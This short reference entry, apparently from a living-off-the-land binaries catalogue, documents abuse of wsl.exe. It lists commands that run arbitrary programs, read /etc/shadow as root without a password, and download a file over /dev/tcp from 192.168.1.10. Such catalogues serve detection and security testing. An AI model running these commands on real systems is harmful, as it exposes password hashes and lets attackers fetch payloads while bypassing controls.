Windows subsystem for Linux executable
Executes calc.exe from wsl.exe
wsl.exe -e /mnt/c/Windows/System32/calc.exe
Performs execution of specified file, can be used to execute arbitrary Linux commands.
Cats /etc/shadow file as root
wsl.exe -u root -e cat /etc/shadow
Performs execution of arbitrary Linux commands as root without need for password.
Executes Linux command (for example via bash) as the default user (unless stated otherwise using -u <username>
) on the default WSL distro (unless stated otherwise using -d <distro name>
)
wsl.exe --exec bash -c "{CMD}"
Performs execution of arbitrary Linux commands.
Downloads file from 192.168.1.10
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Download file